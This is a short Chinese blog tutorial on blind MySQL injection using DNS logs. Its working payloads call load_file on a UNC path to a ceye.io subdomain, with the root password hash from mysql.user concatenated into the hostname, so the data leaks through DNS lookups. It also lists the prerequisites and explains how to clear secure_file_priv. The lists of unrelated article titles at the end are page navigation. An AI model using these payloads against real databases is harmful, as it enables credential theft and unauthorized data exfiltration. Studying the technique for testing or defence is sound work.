利用DNS日志进行MySQL盲注
2024-09-07 09:09:29
0x01 技术原理
这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件
# 条件1
+ 1、由于基于SMB请求,需要在Windows环境下
# 条件2
+ 2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv
0x02 测试
0x02 - 01 简单的load权限查看
show global variables like '%secure%';
这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:
secure_file_priv =
0x02 - 02 load一个域名下的文件试试看
select load_file('\\\\root.xxxxxx.ceye.io\\abc');
0x03 - 03 使用拼接函数,对我们想要获取的数据进行拼接
select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')
0x02 - 04
select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));
最新文章
- Cordova+Asp.net Mvc+GIS跨平台移动应用开发实战1-系统初步搭建(附演示,apk,全部源码)
- HTML的初体验
- iOS中文网址路径转换URLEncode
- Course Schedule
- [LeetCode] Serialize and Deserialize Binary Tree
- bzoj 4448 [Scoi2015]情报传递(主席树,LCA)
- 集合练习——Set部分
- hdu 5030 Rabbit&;#39;s String(后缀数组&;amp;二分法)
- AltiumDesigner14绘制四层板设置
- Angular4 后台管理系统搭建(10) - 做一个通用的可跨域上传文件的组件
- leetcode算法题2: 合并两个二叉树。递归,如何切入并保持清醒?
- input输入框限制输入正整数、小数、字母、文字
- vue组件-构成组件-父子组件相互传递数据
- UOJ #310「UNR #2」黎明前的巧克力
- vscode plugins
- node.js 使用 net 模块模拟 websocket 握手,进行数据传递。
- loadrunner 运行脚本-Run-time Settings-ContentCheck简单设置
- javascript进阶笔记(2)
- Data - 数据思维
- 基于jQuery+CSS3实现人物跳动特效
热门文章
- Salesforce 自定义元数据类型
- <;Stack>; 150 71 388
- Spring Cloud Gateway 之 AddRequestHeader GatewayFilter Factory
- [原创]浅谈在创业公司对PMF的理解
- Kubernetes 学习(九)Kubernetes 源码阅读之正式篇------核心组件之 Scheduler
- python read readline readlines区别
- Unity Shader 2D水流效果
- 记一次ssh.exec_command(cmd)执行后读取结果为空
- Angular中上传图片到分布式文件服务器FastDFS上
- cmd命令和linux命令的区别